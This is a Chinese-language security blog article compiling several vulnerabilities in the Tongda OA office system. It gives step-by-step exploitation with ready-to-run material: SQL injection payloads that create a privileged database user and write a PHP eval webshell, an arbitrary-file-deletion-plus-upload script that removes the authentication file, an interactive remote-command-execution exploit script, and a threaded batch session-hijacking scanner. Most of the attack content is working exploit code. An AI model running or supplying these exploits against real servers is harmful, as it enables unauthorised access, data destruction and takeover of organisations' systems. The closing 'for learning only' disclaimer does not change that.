通达OA漏洞整理

白帽子社区

共 11468字,需浏览 23分钟

 ·

2021-05-24 20:14

作者:Ca1y0n  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




通达OAOffice Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台


V11.7后台SQL注入漏洞
0x01:
漏洞影响:通达oaV11.7
利用条件:需账户登陆

0x02:

漏洞复现:
漏洞路径
/general/appbuilder/web/officeproduct/productapply/applyprobygroup/general/hr/manage/query/delete_cascade.php?condition_cascade=*

复现过程:

登陆后访问URL:
http://192.168.2.139/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99))

其中过滤了sleep,updatexml等函数,这里可以通过其他函数去绕过

利用注入向数据库中添加新用户:

grant allprivileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANTOPTION

使用添加的账户链接数据库

添加的账户不能直接通过日志慢查询写入文件,需要给创建的账户添加权限
UPDATE `mysql`.`user`SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` ='Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y',`Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` ='Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y',`References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv`= 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` ='Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y',`Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y',`Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y',`Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '',`ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0,`max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin`= 'mysql_native_password', `authentication_string` = '', `password_expired` ='Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' ASBinary(5));

由于当前用户无刷新权限,这里用注入点进行刷新权限
http://IP/general/hr/manage/query/delete_cascade.php?condition_cascade=flushprivileges;

再次登陆的时候,会提示密码过期,使用注入点重新执行语句

grant all privileges ONmysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

利用慢查询日志写入shell

select @@basedir;//查看绝对路径set global slow_query_log=on;set global slow_query_log_file='C:/MYOA/webroot/shell.php';select '<?php eval($_POST[x]);?>' or sleep(11);




任意文件删除&文件上传GETSHELL漏洞

0x01

      影响版本:

通达OA V11.6

0x02

      漏洞复现:

通过任意文件漏洞删除上传点包含的身份验证文件,从而造成未授权访问实现任意文件上传
上传点:
http://<IP>/general/data_center/utils/upload.php
由于存在验证,直接访问会提示登陆

这里可以配合任意文件删除漏洞删除验证的配置文件,从而上传文件。

漏洞触发点在module/appbuilder/assets/print.php

$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";$s_tmp .= "/" . $_GET["guid"]; if (file_exists($s_tmp)) {    $arr_data = unserialize(file_get_contents($s_tmp));    unlink($s_tmp);    $s_user = $arr_data["user"];}else {    echo "未知参数";    exit();}

传入参数guid通过../进行目录穿越实现任意文件删除

payload:?guid=../../../webroot/inc/auth.inc.php

利用任意文件删除 

module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php

 将验证文件删除(实战环境慎用)


再次访问上传文件点

构造POC

<formaction="http://IP/general/data_center/utils/upload.php"method="post" enctype="multipart/form-data"><input type="text"name='filetype'value ='ghtwf01'></input><inputtype="text"name='action' value ='upload'></input><inputtype="text"name='repkid' value ='../../../'></input><inputtype="file" name="FILE1"></input><inputtype="submit" ></input></body></form>

连接webshell


0x03 

相关利用脚本

import requeststarget="http://IP/"payload="<?php@eval($_REQUEST[aaa]);?>"print("[*]Warning,Thisexploit code will DELETE auth.inc.php which may damage the OA")input("Press enter tocontinue")print("[*]Deleting auth.inc.php....") url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking iffile deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.'not in page:    print("[-]Failed to deletedauth.inc.php")    exit(-1)print("[+]Successfullydeleted auth.inc.php!")print("[*]Uploadingpayload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1':('hack.php', payload)}requests.post(url=url,files=files)url=target+"/_hack.php"page=requests.get(url=url).textif 'No input filespecified.' not in page:    print("[+]Filed UploadedSuccessfully")    print("[+]URL:",url)else:   print("[-]Failed to upload file")

文件包含&文件上传Getshell

0x01

影响版本:

通达OA V11

通达OA 2017

通达OA 2016

通达OA 2015

通达OA 2013

0x02

漏洞复现:

上传漏洞触发点:

http://<IP>/ispirit/im/upload.php

直接访问显示没有登陆

根据代码逻辑,可以通过P参数进行绕过

POST发送参数P

由于代码存在黑名单,首先上传图片马,在使用文件包含进行绕过

构造表单文件进行上传

<html>  <body>    <formaction="http://IP/ispirit/im/upload.php" method="post"  enctype="multipart/form-data">      <input  type="text"name='P' value = 1  ></input>      <input  type="text"name='MSG_CATE' value = 'file'></input>      <input  type="text"name='UPLOAD_MODE' value= 1 ></input>      <inputtype="text" name="DEST_UID" value = 1></input>      <inputtype="file" name="ATTACHMENT"></input>      <inputtype="submit" ></input>  </body></html>

利用文件包含漏洞,包含上传的图片木马

http://<IP>/ispirit/interface/gateway.php
POST:json={"url":"general/../../attach/im/2105/300974014.1.jpg"}


可以看到可以执行


0x03

相关利用脚本:

#!/usr/bin/env python3# -*- encoding: utf-8 -*-# oa通达文件上传加文件包含远程代码执行
import requestsimport reimport sys
def oa(url): upurl = url + '/ispirit/im/upload.php' headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/62.0.3202.9 Safari/537.36", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate", "Connection":"close", "Upgrade-Insecure-Requests": "1","Content-Type": "multipart/form-data;boundary=---------------------------27723940316706158781839860668"} data ="-----------------------------27723940316706158781839860668\r\nContent-Disposition:form-data; name=\"ATTACHMENT\";filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['cmd'];\r\n$wsh= new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c\".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput =$stdout->ReadAll();\r\necho$stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition:form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition:form-data;name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition:form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n" req = requests.post(url=upurl,headers=headers, data=data) filename ="".join(re.findall("2003_(.+?)\|",req.text)) in_url = url +'/ispirit/interface/gateway.php' headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/62.0.3202.9 Safari/537.36", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate","X-Forwarded-For": "127.0.0.1", "Connection":"close", "Upgrade-Insecure-Requests": "1","Content-Type": "application/x-www-form-urlencoded"} data ="json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s"% (filename,"echo php00py") include_req = requests.post(url=in_url,headers=headers, data=data) if 'php00py' in include_req.text: print("[+] OA RCE vulnerability") return filename else: print("[-] Not OA RCEvulnerability ") return False

def oa_rce(url,filename,command): url = url +'/ispirit/interface/gateway.php' headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/62.0.3202.9 Safari/537.36", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate", "Connection":"close", "Upgrade-Insecure-Requests": "1","Content-Type": "application/x-www-form-urlencoded"} data ="json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s"% (filename,command) req = requests.post(url, headers=headers,data=data) print(req.text)


if __name__ == '__main__': if len(sys.argv) < 2: print("please input your urlpython oa_rce.py http://127.0.0.1:8181") else: url = sys.argv[1] filename = oa(url) while filename: try: command =input("wran@shelLhost#")
if command =="exit" or command == "quit": break else: oa_rce(url,filename,command) except KeyboardInterrupt: break


通达OA版本<v11.5&11.7(可shell)任意用户登陆漏洞

0x01

影响版本:

通达OA < V 11.3 

通达OA 2017

0x02

漏洞复现:

复现环境:通达OA V11.3

访问 

http://<IP>/logincheck_code.php

 获取session

获取并记录code_uid参数

POST传递CODEUID和被伪造用户的UID到
/logincheck_code.php


直接访问URL既可以登陆后台界面:
http://192.168.2.143/general/index.php

0x03

利用脚本:

import requestsimport sysimport randomimport reimport timeimport threadingfromrequests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ \033[34mVersion: 通达OA 11.7 ') print('+ \033[34mVersion: 用法:python3 poc.pyhttp://xxx.xxx.xxx.xxx/ ') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url +"/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0" headers = { "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url,headers=headers, verify=False, timeout=5) if "RELOGIN" in response.textand response.status_code == 200: print(target_url.replace("\n","") +"\033[31m[x]目标用户为下线状态 ---{}\033[0m".format(time.asctime( time.localtime(time.time())))) elif response.status_code == 200 andresponse.text == "": PHPSESSION =re.findall(r'PHPSESSID=(.*?);', str(response.headers)) print(target_url.replace("\n","") +"\033[32m[o] 用户上线 PHPSESSION: {} ---{}\033[0m".format(PHPSESSION[0],time.asctime(time.localtime(time.time())))) else: print("\033[31m[x] 请求失败,目标可能不存在漏洞") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__': title() # target_url =str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) # while True: # POC_1(target_url) # time.sleep(5)
# 批量检测 for url in open("url.txt"): # POC_1(url) t1 = threading.Thread(target=POC_1,args=(url.replace("\n", ""),)) t1.start()

当存在用户登陆时,可获取该用户的SESSION值,替换session值即可登陆系统


文中技术仅供学习交流,请勿用于非法用途。若文章存在错误,还望大佬们多多指点。



往期精彩文章




记一次日志分析
【干货导航】各大公众号优质文章分类导航,你想看的全都有
【Helen】stach4+Checkin 赛题实操
红色代码战队 第十四届全国大学生信息安全竞赛-线上赛Writeup




技术支持:白帽子社区团队
— 扫码关注我们 



浏览 254
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报